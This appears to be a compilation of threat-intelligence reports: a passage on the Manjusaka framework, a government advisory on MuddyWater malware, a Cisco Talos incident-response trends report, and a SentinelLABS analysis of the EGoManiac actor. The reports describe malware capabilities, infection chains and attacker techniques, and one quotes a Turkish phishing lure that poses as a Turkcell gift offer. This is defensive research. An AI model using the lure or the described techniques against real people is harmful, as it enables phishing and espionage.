File enumeration: List files in a specified location on disk. - Create directories on the file system. - Get and set the current working directory. - Obtain the full path of a file. - Delete files and remove directories on disk. - Move files between two locations. - Read and write data to and from the file. ### ELF Variant The ELF variant consists of pretty much the same set of functionalities as its Windows counterpart. However, two key functionalities missing in the ELF variant are the ability to collect credentials from Chromium-based browsers and harvest Wi-Fi login credentials. Just like the Windows version, the ELF variant also collects a variety of system-specific information from the endpoint. ### Command and Control Server During the course of our investigation, we discovered a copy of the C2 server binary for Manjusaka hosted on GitHub. It can monitor and administer an infected endpoint and can generate corresponding payloads for Windows and Linux. The C2 server and admin panel are primarily built on the Gin Web Framework which is used to administer and issue commands to the Rust-based implants/stagers. ### The Campaign: Infection Chain We've also discovered a related campaign that consisted of a distribution of a maldoc to targets leading to the deployment of Cobalt Strike beacons on the infected systems. The infection chain involves the use of a maldoc masquerading as a report and advisory on the COVID-19 pandemic in Golmud City. ### Maldoc Analysis The maldoc contains a VBA macro that executes rundll32.exe and injects Metasploit shellcode (Stage 1) into the process to download and execute the next stage (Stage 2) in memory. ### Stage 2 Analysis The next stage payload downloaded from the remote location is yet another shellcode that consists of: - XOR-encoded executable: Cobalt Strike. - Shellcode for decoding and reflectively loading the Cobalt Strike beacon into memory. ### Stage 3: Cobalt Strike Beacon The Cobalt Strike beacon decoded by the previous stage is then executed from the beginning of the MZ file. The beacon can reflectively load itself into the memory of the current process. ### Attribution Before even thinking about the attribution, it's important to distinguish between the developer of the malware and the campaign operators. The C2 binary is fully functional (although limited in features), self-contained and publicly available, which means that anyone could have downloaded it and used it in the campaign we discovered. For the developer of Manjusaka, we have several indicators: - The Rust-based implant does not use the standard crates.io library repository for the dependency resolving. - The C2 menus and options are all written in Simplified Chinese. - Our OSINT suggests that the author of this framework is located in the GuangDong region of China. ## Conclusion The availability of the Manjusaka offensive framework is an indication of the popularity of widely available offensive technologies with both crimeware and APT operators. This new attack framework contains all the features that one would expect from an implant, however, it is written in the most modern and portable programming languages. The developer of the framework can easily integrate new target platforms like MacOSX or more exotic flavors of Linux. The fact that the developer made a fully functional version of the C2 available increases the chances of wider adoption of this framework by malicious actors. Organizations must be diligent against such easily available tools and frameworks that can be misused by a variety of threat actors. In-depth defense strategies based on a risk analysis approach can deliver the best results in the prevention. However, this should always be complemented by a good incident response plan which has been not only tested with tabletop exercises and reviewed and improved every time it's put to the test on real engagements.
# Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks ## Summary ### Actions to Take Today to Protect Against Malicious Activity - Search for indicators of compromise. - Use antivirus software. - Patch all systems. - Prioritize patching known exploited vulnerabilities. - Train users to recognize and report phishing attempts. - Use multi-factor authentication. Note: This advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework, version 10. See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques. The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the U.S. Cyber Command Cyber National Mission Force (CNMF), and the United Kingdom’s National Cyber Security Centre (NCSC-UK) have observed a group of Iranian government-sponsored advanced persistent threat (APT) actors, known as MuddyWater, conducting cyber espionage and other malicious cyber operations targeting a range of government and private-sector organizations across sectors—including telecommunications, defense, local government, and oil and natural gas—in Asia, Africa, Europe, and North America. Note: MuddyWater is also known as Earth Vetala, MERCURY, Static Kitten, Seedworm, and TEMP.Zagros. MuddyWater is a subordinate element within the Iranian Ministry of Intelligence and Security (MOIS). This APT group has conducted broad cyber campaigns in support of MOIS objectives since approximately 2018. MuddyWater actors are positioned both to provide stolen data and accesses to the Iranian government and to share these with other malicious cyber actors. MuddyWater actors are known to exploit publicly reported vulnerabilities and use open-source tools and strategies to gain access to sensitive data on victims’ systems and deploy ransomware. These actors also maintain persistence on victim networks via tactics such as side-loading dynamic link libraries (DLLs)—to trick legitimate programs into running malware—and obfuscating PowerShell scripts to hide command and control (C2) functions. FBI, CISA, CNMF, and NCSC-UK have observed MuddyWater actors recently using various malware—variants of PowGoop, Small Sieve, Canopy (also known as Starwhale), Mori, and POWERSTATS—as part of their malicious activity. This advisory provides observed tactics, techniques, and procedures (TTPs); malware; and indicators of compromise (IOCs) associated with this Iranian government-sponsored APT activity to aid organizations in the identification of malicious activity against sensitive networks. FBI, CISA, CNMF, NCSC-UK, and the National Security Agency (NSA) recommend organizations apply the mitigations in this advisory and review the following resources for additional information. ## Technical Details FBI, CISA, CNMF, and NCSC-UK have observed the Iranian government-sponsored MuddyWater APT group employing spearphishing, exploiting publicly known vulnerabilities, and leveraging multiple open-source tools to gain access to sensitive government and commercial networks. As part of its spearphishing campaign, MuddyWater attempts to coax their targeted victim into downloading ZIP files, containing either an Excel file with a malicious macro that communicates with the actor’s C2 server or a PDF file that drops a malicious file to the victim’s network. MuddyWater actors also use techniques such as side-loading DLLs to trick legitimate programs into running malware and obfuscating PowerShell scripts to hide C2 functions. Additionally, the group uses multiple malware sets—including PowGoop, Small Sieve, Canopy/Starwhale, Mori, and POWERSTATS—for loading malware, backdoor access, persistence, and exfiltration. ### PowGoop MuddyWater actors use new variants of PowGoop malware as their main loader in malicious operations; it consists of a DLL loader and a PowerShell-based downloader. The malicious file impersonates a legitimate file that is signed as a Google Update executable file. According to samples of PowGoop analyzed by CISA and CNMF, PowGoop consists of three components: - A DLL file renamed as a legitimate filename, `Goopdate.dll`, to enable the DLL side-loading technique. The DLL file is contained within an executable, `GoogleUpdate.exe`. - A PowerShell script, obfuscated as a .dat file, `goopdate.dat`, used to decrypt and run a second obfuscated PowerShell script, `config.txt`. - `config.txt`, an encoded, obfuscated PowerShell script containing a beacon to a hardcoded IP address. These components retrieve encrypted commands from a C2 server. The DLL file hides communications with MuddyWater C2 servers by executing with the Google Update service. ### Small Sieve According to a sample analyzed by NCSC-UK, Small Sieve is a simple Python backdoor distributed using a Nullsoft Scriptable Install System (NSIS) installer, `gram_app.exe`. The NSIS installs the Python backdoor, `index.exe`, and adds it as a registry run key, enabling persistence. MuddyWater disguises malicious executables and uses filenames and Registry key names associated with Microsoft's Windows Defender to avoid detection during casual inspection. The APT group has also used variations of Microsoft (e.g., "Microsift") and Outlook in its filenames associated with Small Sieve. Small Sieve provides basic functionality required to maintain and expand a foothold in victim infrastructure and avoid detection by using custom string and traffic obfuscation schemes together with the Telegram Bot application programming interface (API). Specifically, Small Sieve’s beacons and taskings are performed using Telegram API over HTTPS, and the tasking and beaconing data is obfuscated through a hex byte swapping encoding scheme combined with an obfuscated Base64 function. ### Canopy MuddyWater also uses Canopy/Starwhale malware, likely distributed via spearphishing emails with targeted attachments. According to two Canopy/Starwhale samples analyzed by CISA, Canopy uses Windows Script File (.wsf) scripts distributed by a malicious Excel file. In the samples CISA analyzed, a malicious Excel file, `Cooperation terms.xls`, contained macros written in Visual Basic for Applications (VBA) and two encoded Windows Script Files. When the victim opens the Excel file, they receive a prompt to enable macros. Once this occurs, the macros are executed, decoding and installing the two embedded Windows Script Files. ### Mori MuddyWater also uses the Mori backdoor that uses Domain Name System tunneling to communicate with the group’s C2 infrastructure. According to one sample analyzed by CISA, `FML.dll`, Mori uses a DLL written in C++ that is executed with `regsvr32.exe` with export `DllRegisterServer`. This DLL appears to be a component to another program. `FML.dll` contains approximately 200MB of junk data in a resource directory. Upon execution, `FML.dll` creates a mutex and performs several tasks, including deleting files and resolving networking APIs. ### POWERSTATS This group is also known to use the POWERSTATS backdoor, which runs PowerShell scripts to maintain persistent access to the victim systems. MuddyWater actors are also known to exploit unpatched vulnerabilities as part of their targeted operations. FBI, CISA, CNMF, and NCSC-UK have observed this APT group recently exploiting the Microsoft Netlogon elevation of privilege vulnerability (CVE-2020-1472) and the Microsoft Exchange memory corruption vulnerability (CVE-2020-0688). ## MITRE ATT&CK Techniques MuddyWater uses the ATT&CK techniques listed in the following table. | Technique Title | ID | Use | |------------------|----|-----| | Gather Victim Identity Information: Email Addresses | T1589.002 | MuddyWater has specifically targeted government agency employees with spearphishing emails. | | Acquire Infrastructure: Web Services | T1583.006 | MuddyWater has used file sharing services including OneHub to distribute tools. | | Obtain Capabilities: Tool | T1588.002 | MuddyWater has made use of legitimate tools ConnectWise and RemoteUtilities for access to target environments. | | Phishing: Spearphishing Attachment | T1566.001 | MuddyWater has compromised third parties and used compromised accounts to send spearphishing emails with targeted attachments. | | Phishing: Spearphishing Link | T1566.002 | MuddyWater has sent targeted spearphishing emails with malicious links. | | Windows Management Instrumentation | T1047 | MuddyWater has used malware that leveraged Windows Management Instrumentation for execution and querying host information. | | Command and Scripting Interpreter: PowerShell | T1059.001 | MuddyWater has used PowerShell for execution. | | Command and Scripting Interpreter: Windows Command Shell | T1059.003 | MuddyWater has used a custom tool for creating reverse shells. | | Command and Scripting Interpreter: Visual Basic | T1059.005 | MuddyWater has used Visual Basic Script (VBS) files to execute its POWERSTATS payload, as well as macros. | | Command and Scripting Interpreter: Python | T1059.006 | MuddyWater has used developed tools in Python including Out1. | | Command and Scripting Interpreter: JavaScript | T1059.007 | MuddyWater has used JavaScript files to execute its POWERSTATS payload. | | Exploitation for Client Execution | T1203 | MuddyWater has exploited the Office vulnerability CVE-2017-0199 for execution. | | User Execution: Malicious Link | T1204.001 | MuddyWater has distributed URLs in phishing emails that link to lure documents. | | User Execution: Malicious File | T1204.002 | MuddyWater has attempted to get users to enable macros and launch malicious Microsoft Word documents delivered via spearphishing emails. | | Inter-Process Communication: Component Object Model | T1559.001 | MuddyWater has used malware that has the capability to execute malicious code via COM, DCOM, and Outlook. | | Inter-Process Communication: Dynamic Data Exchange | T1559.002 | MuddyWater has used malware that can execute PowerShell scripts via Dynamic Data Exchange. | | Scheduled Task/Job: Scheduled Task | T1053.005 | MuddyWater has used scheduled tasks to establish persistence. | | Office Application Startup: Office Template Macros | T1137.001 | MuddyWater has used a Word Template, `Normal.dotm`, for persistence. | | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | T1547.001 | MuddyWater has added Registry Run key to establish persistence. | ## Mitigations ### Protective Controls and Architecture - Deploy application control software to limit the applications and executable code that can be run by users. - Email attachments and files downloaded via links in emails often contain executable code. ### Identity and Access Management - Use multifactor authentication where possible, particularly for webmail, virtual private networks, and accounts that access critical systems. - Limit the use of administrator privileges. ### Phishing Protection - Enable antivirus and anti-malware software and update signature definitions in a timely manner. - Be suspicious of unsolicited contact via email or social media from any individual you do not know personally. - Consider adding an email banner to emails received from outside your organization and disabling hyperlinks in received emails. - Train users through awareness and simulations to recognize and report phishing and social engineering attempts. ### Vulnerability and Configuration Management - Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. - Prioritize patching known exploited vulnerabilities. ## References 1. CNMF Article: Iranian Intel Cyber Suite of Malware Uses Open Source Tools 2. MITRE ATT&CK: MuddyWater ## Caveats The information you have accessed or received is being provided “as is” for informational purposes only. The FBI, CISA, CNMF, and NSA do not endorse any commercial product or service, including any subjects of analysis. ## Contact Information To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact your local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch). For incident response resources or technical assistance, contact CISA.
# Quarterly Report: Incident Response Trends from Fall 2020 By David Liebenberg and Caitlin Huey. For the sixth quarter in a row, Cisco Talos Incident Response (CTIR) observed ransomware dominating the threat landscape. However, for the first quarter since we began compiling these reports, no engagements that were closed out involved the ransomware Ryuk (though there were engagements that were kicked off this quarter involving Ryuk, but have yet to close). The top ransomware families observed were Maze and Sodinokibi, though barely more than any others, continuing a trend of “democratization” for ransomware families observed in last quarter’s report, in which no one family was dominant. With Maze adversaries’ recent announcement of retirement, the possibility remains that more ransomware groups will step up to fill the void, accelerating this trend. Besides the drop in Ryuk, we saw a continuing decline in commodity trojans such as Trickbot and Emotet, as ransomware adversaries rely more on open-source tools, the Cobalt Strike framework, and a combination of various living-off-the-land tools and utilities, or “LoLBins." The lack of Ryuk is somewhat surprising given recent reports from the U.S. government that indicate adversaries are looking to target health care organizations with Ryuk. Part of this could be related to the timing of these incidents, which occurred toward the end of Q3 2020. We do note that there were several Ryuk cases opened toward the end of the quarter which have yet to close, including one affecting a health care company. CTIR also observed a general increase in engagements involving attacks against health care organizations toward the end of the quarter, though they mostly involved other malware families, such as the Vatet loader, which is known to target this industry. ## Targeting Actors targeted a broad range of verticals, including agriculture, food and beverage, health care, education, energy and utilities, industrial distribution, law enforcement, local government, manufacturing, and technology. The top targeted vertical was manufacturing, a continuation of last quarter. However, as mentioned above, there was a spike in attacks against health care organizations, and some of these engagements have yet to close out. In counting both engagements that were opened and closed out this quarter, health care and manufacturing sectors were tied as being the most affected sectors this quarter. Looking ahead, it appears that adversaries will continue to target the health care industry with ransomware and other types of attacks given their security postures and incentives to pay, especially given the situation with the COVID-19 pandemic, which threat actors have been more than willing to capitalize on. ## Threats Ransomware continued to comprise the majority of threats CTIR observed. In a continuation from last quarter, no one ransomware family was dominant. Furthermore, there were no engagements that closed out involving Ryuk (though there was one engagement which opened this quarter in which Ryuk is suspected). In the past, Ryuk was much more prominent. In a continuation from the last several quarters, the majority of ransomware attacks were not observed in conjunction with commodity trojan infections, instead relying on open source tools, Cobalt Strike, and living-off-the-land utilities. For example, a U.S. manufacturing company was targeted with a phishing email that contained a malicious ZIP file. Once downloaded and opened, an adversary carried out multiple malicious actions, including connection to a malicious IP address, account enumeration, and execution of encoded PowerShell. The adversary attempted to deploy a malicious ransomware file called “hnt.dll,” which CTIR identified as a Maze ransomware variant, although the mutexes were slightly different from previous Maze mutexes which could have indicated a new strain. The customer had Cisco AMP for Endpoints running which successfully quarantined the malicious DLL. The adversary used several commercially available and open source tools for malicious means, including PowerShell to execute encoded commands; Cobalt Strike, including executing "Invoke-DACheck," an Aggressor script that checks to see if the current user is a domain administrator and "Norton Power Eraser," a scanning tool that irreversibly removes forensic artifacts vital to the investigation from systems. CTIR investigated possible indicators of data exfiltration from six hosts to a malicious C2 IP address, including large amounts of packets exchanged over the observed time period. However, they found no evidence of data staging or any specific indicators that data was exfiltrated from the environment. It is worth highlighting that the Maze ransomware group announced they have officially closed down their ransomware operation and claimed they will no longer be leaking new company data on their site. While the validity of Maze’s claim is still unknown at this time, it is possible that lower-tiered ransomware groups may attempt to compete within this threat landscape now that a very high-profile group has announced its departure. CTIR has observed a spike in Vatet loader/ransomware engagements this quarter affecting health care entities. Vatet is known to be used by adversary groups to specifically target health care organizations. In one open incident response engagement involving a U.S. medical center infected with Vatet, CTIR identified the likely infection vector as an IcedID phishing email with a ZIP attachment that used steganography for loading commands to the Vatet loader itself. From there, IcedID downloaded and ran Vatet, which started Cobalt Strike activity and eventually launched and executed the Defray777 ransomware. Other observed threats this quarter included business email compromise (BEC), cryptocurrency mining, web shells, brute-force attacks, exploit attempts, and information stealers. ## Initial Vectors For the majority of engagements, definitively identifying an initial vector was difficult due to shortfalls in logging. However, in engagements in which the initial vector could be identified, or reasonably assumed, phishing remained the top infection vector for the sixth quarter in a row. Besides email, other initial vectors that CTIR has observed this quarter include drive-by downloads, RDP brute-force attacks, and exploitation of various vulnerabilities, including Microsoft Exchange (CVE-2020-0688), SaltStack Salt (CVE-2020-116511 and CVE-2020-11652), and Oracle WebLogic (CVE-2020-14882). ## Top-observed MITRE ATT&CK Techniques Below is a list of the most common MITRE ATT&CK techniques observed in this quarter’s IR engagements. Given that some techniques can fall under multiple categories, we grouped them under the most relevant category in which they were leveraged. This represents what CTIR observed most frequently and is not intended to be exhaustive. ### Key Findings: - The usage of Cobalt Strike decreased by half. However, we do note that there are many open engagements that rely on Cobalt Strike for post-exploitation. - We observed a robust combination of various living-off-the-land tools and utilities, or “LoLBins.” This is a continuation of a trend seen in late 2019 where actors combine fileless malware and legitimate cloud services to improve chances of staying undetected. - Encoded PowerShell commands account for several execution techniques, illustrating the need for policies to limit unprivileged users from using PowerShell or CMD applications. - Leveraging valid accounts is the most observed technique used for lateral movement this quarter. RDP usage for lateral movement decreased this quarter. However, we did see brute-force attacks almost double this quarter. ### ATT&CK Techniques - **Initial Access (TA0027)**, T1078 Valid Accounts: Use valid compromised credentials in BEC scam. - **Persistence (TA0028)**, T1543 Create or Modify System Process: Install a cryptomining application service on the system to maintain persistence on the server. - **Execution (TA0041)**, T1059.001 Command and Scripting Interpreter: PowerShell: Executes PowerShell code to retrieve information about the client's Active Directory environment. - **Discovery (TA0007)**, T1082 System Information Discovery: Used Process Hacker to identify infected machine’s OS information. - **Credential Access (TA0006)**, T1003 OS Credential Dumping: Use tools such as Mimikatz to compromise credentials in the environment. - **Privilege Escalation (TA0029)**, T1484 Group Policy Modification: Force group policy update that creates service to execute ransomware. - **Lateral Movement (TA0008)**, T1021.001 Remote Desktop Protocol: Adversary connects to the system using RDP with valid credentials. - **Collection (TA0035)**, T1560.001 Archive Collected Data: Archive via Utility: One binary was capable of extracting system information and files that are subsequently placed within a tar archive, which is compressed with bzip2. - **Defense Evasion (TA0030)**, T1070 Indicator Removal on Host: Remove files and artifacts from an infected machine. - **Command and Control (TA0011)**, T1132.001 Data Encoding: Standard Encoding: Use Base64 to encode C2 communication. - **Exfiltration (TA0010)**, T1567 Exfiltration Over Web Service: Data exfiltration was performed with the usage of FirefoxSend. - **Impact (TA0034)**, T1486 Data Encrypted for Impact: Deploy Maze ransomware.
# EGOMANIAC: AN UNSCRUPULOUS TURKISH-NEXUS THREAT ACTOR **Authors:** Juan Andres Guerrero-Saade, Igor Tsemakhovich **September 2021** **SentinelLABS Research Team** ## EXECUTIVE SUMMARY - This report sets the scope of a previously unknown threat actor we call ‘EGoManiac’. - EGoManiac operated during the 2010-2016 timeframe, focusing primarily on Turkey and Turkish politics. - EGoManiac is responsible for the previously reported ‘Octopus Brain’ campaign where the operators interdicted the machines of OdaTV journalists to place malware and incriminating documents, effectively framing them before arrest. - Our research connects Octopus Brain to a toolkit called Rad, in development as early as 2010 and used until 2015. - Rad samples use hardcoded email addresses for exfiltration. - One of those email addresses is cited in connection to the prosecution of rogue members of the Turkish National Police along with executives of a company called ‘Datalink Analiz’. They refer to Rad as ‘HORTUM’. - Following the trail of ‘Datalink Analiz’, we suspect that EGoManiac activity includes the use of HackingTeam’s Remote Control System (RCS) contracted under this same front company with a series of irregularities as early as 2011. - In 2013, a report emerged on the use of RCS against a Turkish victim in the United States. The victim voiced an unverified suspicion that its use represented the unsanctioned interests of rogue Gülenist elements within the Turkish government. ## THE HUNT FOR AHTAPOT In the world of cyberespionage research, the human-interest element is often lost amidst a barrage of technical indicators. The absence of a human dimension can make our research seem overly technical and dry, something we write for defenders to block and other researchers to enjoy. When we can see the impact that some of these campaigns have on civil society and the weakening of public institutions, it invokes a certain doggedness that won’t let sleeping dogs lie. ‘EGoManiac’ is one that’s been in the back of our heads for the past five years. The research involved multiple dead ends, false starts, and layers of conspiratorial mystery. What we refer to as EGoManiac is a cluster of two notable campaigns starting as early as 2010. The first campaign came to be known in research circles as ‘Octopus Brain’, based on the Turkish strings ‘Ahtapot’ and ‘Bejin’ left in the malware. This original campaign used a combination of publicly available RATs (including Turkojan and Bandook) as well as the closed-source Ahtapot, with delivery methods ranging from malicious documents to personal visits by the attackers. Our initial awareness of this case came from Turkish court documents surrounding arrests of journalists at OdaTV. Much greater detail came to light thanks to the excellent work of the folks at Arsenal Consulting. Their forensic investigation not only proved the presence of the malware and the physical interdiction of the victim systems, but also established the attacker’s access as the definitive source of the incriminating documents on those systems that were then used to justify arrests by the Turkish National Police. The journalists were ultimately acquitted by a court in 2017– six years after the attacks. This scenario is one of the often-ignored dirty edge cases of ‘lawful intercept’ malware, plainly stated: what’s the expectation of evidential integrity when it comes to an infected device? While these particular operators resorted to physically tampering with the devices they were monitoring, there’s little keeping malware operators from placing incriminating or damaging files on systems infected with malware that has file download capabilities, as most rudimentary malware does. In the face of such an unscrupulous actor, we are left to wonder if this activity is part of a cluster we already track, and if not, what else has this actor been up to in the shadows? Octopus Brain provided few answers. Despite finding a handful of Ahtapot modules, there were no newer samples nor connections to other toolkits. The trail went cold… until now. ## EXPERIMENTS IN INNOVATIVE PIVOTING As threat hunting technology continued to improve, there were different attempts to once again pick up the scent of the attackers behind the Octopus Brain campaign. Code similarity analysis is one of the favorite tools in our research arsenal. However, initial attempts to cluster new samples based on shared unique code snippets were not fruitful. We decided to take a different approach. Rather than focusing on unique code snippets, we can instead focus on a bulk of shared common code as a way of profiling the development environment that produced the samples and attempt to find other samples produced in the same way– same compiler, same optimizations, relying on the same statically-linked libraries, etc. Limited testing of this method has yielded positive results under specific circumstances – like allowing us to cluster a set of samples based off of the analysis of a single original sample and without needing to spend cycles conducting extensive goodware testing. To our surprise, applying this experimental approach to Octopus Brain yielded results. By generating a rule based off of the bulk of common code of Ahtapot components, we stumbled upon a set of samples we’ll call ‘Rad’, based on a persistent typo in symbol paths left within the binaries. Expanding on this initial finding, we found a cluster of more than 50 samples and subcomponents for a modular espionage toolkit almost entirely undetected at the time of discovery. Our friends at Kaspersky’s GReAT were able to blind confirm our finding using their KTAE attribution engine, honing in on a unique code segment shared by the first-stage components of both Ahtapot and Rad. ## EGOMANIAC’S ‘RAD’ TOOLKIT Rad is a modular espionage malware toolkit built around the POCO C++ cross-platform development libraries. The design entails a form of organized development but not a particularly savvy or sophisticated one at that. POCO is doing most of the heavy lifting. Functionality is split into modules contained within a ‘RadApplicationInstaller’ and orchestrated by a ‘RadStarter’ module that takes its cues from an encrypted configuration XML file. The XML tells Rad which modules to switch on or off, specific configurations like the time intervals for screen captures and max filesize for sound recordings, and most importantly – what email to use for exfiltration. All of the Rad samples we’ve found rely on email exfiltration with a hardcoded address belonging to either Gmail, Yandex, or Woxmail (defunct at the time of writing). This style of exfiltration entails both pros and cons for the attackers. **Pros:** - Email traffic is unlikely to be blocked or considered suspicious in the target environment. - There’s no obvious infrastructure for defenders to track, pivot on, or sinkhole for victim data. **Cons:** - Exfiltrated data is subject to size limitations. - Exfiltrated data is available to the hosting providers as well as anyone able to reverse engineer the malware configuration. The more bizarre angle of the malware’s functionality is its lack of command-and-control capabilities. The malware will follow its original configuration without recourse to additional commands, updates, or changes. This is perhaps the most unusual aspect of the malware. Exfiltration via email is unlikely to be favored by an experienced group operating on the world stage. It’s perhaps more acceptable to mercenaries or a regionally focused threat group. In this case, rather than cause another research dead-end, one of those email addresses might provide the greatest attribution connection of all, more on that later. ## TOOLKIT STRUCTURE The execution flow of the Rad toolkit is straightforward. ‘wsms.exe’ (RadStarter) is the main module that runs from a registry key set by the installer. It, in turn, runs the other modules as separate processes. These include: | Internal Name | Process Name | Functionality | |------------------------------|----------------------------|----------------------------------------| | RadStarter | wsms.exe | Main orchestrator | | RatKeyboardModule | SynTPHelper.exe | Keylogger | | RatSoundModule | VolCtrl.exe | Hot mic recorder | | RatBrowserModule | AtService.exe | Browser information extractor | | RatScreenModule | QLBCtrl.exe | Screen-capture module | | RatMailModule | SearchIndexer.exe | Communication module | | RatFileSystemModule | WmiPrvSE.exe | File enumeration and search | The main package also includes the POCO dependency DLLs used by the modules: - PocoFoundation.dll is the core dependency. - PocoCrypto.dll wraps OpenSSL library APIs. - PocoXML.dll provides XML parsing primitives. - PocoNet.dll and PocoNetSSL.dll are communication libraries based on socket and SSL APIs, respectively. This is not the first malware family developed using the POCO C++ libraries. Russian APTs have relied on POCO in the past, including a downloader associated with APT28 (‘PocoDown’) and the fabled Drovorub. ## DEVELOPMENT NOTES The modules’ internal names are derived from PDB paths consistently left within the binaries, allowing for an appreciation of the developers’ organizational skills and lack of regard for operational security. This sets the general tone for Rad’s development consisting of straightforward method implementations around standard APIs. Screen capture relies on GDI APIs, keylogging is done via GetAsyncKeyState, and sound recording is done via a multimedia library. Binaries are not obfuscated and export names are in plaintext. Charitably, the developers may have intended to avoid arousing the suspicion of anti-malware software by doing everything in a documented and innocent looking way devoid of evasion. Low detection numbers at the time of discovery support the value of this approach. However, the loud multi-process structure of the malware and absence of checks for security software on target systems suggest the developers are simply inexperienced in the world of malware development. Further supporting the general timeline of the Rad campaign, development of the main Rad components was carried out using Visual Studio 2010 and dependency DLLs built in 2012. As with all compilation timestamps, it’s possible that these were altered. ## INFECTION VECTORS We were only able to recover a small subset of infection vectors utilized by EGoManiac to place the Rad malware on target systems. In one case, we see an email in Turkish pretending to be from a local telecommunications provider: ``` Değerli Abonemiz; Siz değerli üyelerimize daha iyi hizmet vermek için çalışıyoruz. Sistemlerimizde kayıtlı müşterilerimiz için çeşitli hediye paketleri oluşturduk. Size özel hazırlanmış hediye içeriğini görmek için ekteki dosyayı inceleyiniz. Saygılar TURKCELL ``` The email contains a zip archive with the executable ‘Turkcell_hediye.exe’, roughly translated to ‘Turkcell Gift’. The executable is a straightforward RadApplicationInstaller package meant to infect the victim with no attempt at displaying a lure or feigning benign functionality for the user. Additional early-stage droppers include a RAR archive named ‘gercekler.rar’ (containing an executable of the same name), as well as a variant that actually displays a lure for the victim (internally referred to as FileTrojen). The lure is a Turkish PowerPoint presentation on the development of management skills. The malware is connected to EGoManiac via a consistent PDB path convention. FileTrojen appears to be an earlier version of the Rad FileSystemModule built before the adoption of the POCO C++ libraries. It includes functionality for tracking USB keys connected to victim systems and their contents. ## WHO IS EGOMANIAC? Attribution based solely on technical indicators is complicated and inexact. Most technical indicators are subject to modification and require interpretation based on limited visibility. Lacking a greater understanding of local context and closed-source intelligence, it’s difficult to extend attribution beyond abstract entities (like an APT group name) to specific people or organizations. On the surface, EGoManiac activity revolves around a Turkish nexus. Malware is riddled with Turkish language, lures are written in Turkish, victims are Turkish and relevant to local politics. The connection to Ahtapot and the OdaTV incident entails the actor’s ability to physically interdict systems within Turkey. Additionally, most PDB paths for Rad components have a root folder of ‘EGM’, from which we derived the name ‘EGoManiac’. Three samples deviate from this PDB naming convention to use a root folder of ‘SEA’, a reference to the Syrian Electronic Army. This association is further reinforced by the inclusion of throwaway strings like ‘Syrian Electronic Army’, ‘sea.sy’, and ‘Codename Assad’ in the binaries. The compilation timestamp maps onto the emergence of the Syrian Electronic Army in late 2011. This is likely an early attempt at misdirection and is not sustained in any of the later samples. As we dig deeper into this Turkish nexus, the attribution angle only gets more complicated. ## A WILDERNESS OF MIRRORS EGoManiac’s Rad toolkit relies on hardcoded email addresses for communication. Obfuscated logs and other exfiltrated materials are sent to the following emails across multiple service providers: While email comms might usually lead to another research dead-end, the address ‘[email protected]’ raised an interesting connection. In 2016, Turkish websites reported sparse details of an ongoing attempt to prosecute members of the Turkish national police and executives of an IT company called ‘Datalink’ suspected of leaking information on active police operations. The leaks were reportedly used by FETO/Gülenist movement social media accounts to fuel conspiratorial elements in an ongoing power struggle within the country. Reports cite the use of spyware called ‘HORTUM’ (roughly translated as ‘garden hose’) to siphon data from infected machines within public institutions in Turkey including the Intelligence department of the General Directorate of Security (EGM). Some of the reporting mistakenly conflates HORTUM with HackingTeam’s RCS. The siphoned data was sent to ‘[email protected]’ and from there allegedly redistributed by Datalink. The capabilities of HORTUM and its communication methods match those of EGoManiac’s Rad, including the hardcoded Woxmail address. We cannot independently verify the veracity of the initial reporting. An independent investigation to that effect was conducted by Kim Zetter, who obtained extensive details including a report by the prosecutor handling the case. Taking the information we have at face value, we uncover another possible facet of the EGoManiac story. ## THE HACKING TEAM CONNECTION As early as 2012, victims of HackingTeam’s Remote Control System (RCS) ‘Da Vinci’ began to show up in Turkey. In 2013, Wired reported that a woman in the United States was targeted with RCS. The victim suspected that she was targeted by Gülenist elements that had infiltrated the Turkish government. However, HackingTeam continued to assert that it only sells its tools to governments and did not confirm Turkey’s status as a customer. Now, in the aftermath of Phineas Fisher’s devastating hack-and-leak operation against HackingTeam, we can independently confirm that Turkey was in fact a customer of HackingTeam at the time –but who exactly was their customer in Turkey? The leaked HackingTeam treasure trove contains communications with officials claiming to be a part of the Turkish National Police as early as 2011. Citing problems with their mail server, they proceed to use three Gmail accounts to plan their purchase of RCS. A Gmail account is also used for communication with the HackingTeam support portal. HackingTeam officials note further irregularities as the first deal goes through. Though the purchase is intended under the umbrella of a UAE-based shell company (‘Foresys Information Technology-FZE’), HackingTeam receives payment from a company registered in Istanbul– ‘Datalink Analiz’. To be thorough, we chart the use of Hacking Team RCS by the Turkish National Police based on the company’s internal watermarking scheme used to track the origin of leaked samples among their customer base. The graphic above notes the coincidental cadence of the use of the different malware families related to the EGoManiac cluster. However, we can’t go as far as to equate the two clusters without resolving the murky allegiances of the operators involved. The connection between the EGoManiac umbrella and this specific sub-cluster of Hacking Team RCS is built on the admittedly thin strand of the ‘Datalink Analiz’ shell company. That thread merits an investigation beyond the purely technical to straighten out an abundance of conspiratorial claims, alleged foreign money laundering, and ambiguous finger pointing. ## CONCLUSION The case of EGoManiac is far from straightforward. It involves difficult investigative connections that test the boundaries of our visibility, the efficacy of our research tools, and the limits of purely technical attribution. Beyond the technical exercise, it’s a profile of a threat actor willing to spy on both friend and foe and to use that access to malign and entrap journalists without compunction. While this particular intrusion set is outdated, the questions it raises speak to the friction between the unsupervised governmental use of malware and the integrity of public institutions, rule of law, and evidentiary standards. They are more relevant now than ever before.
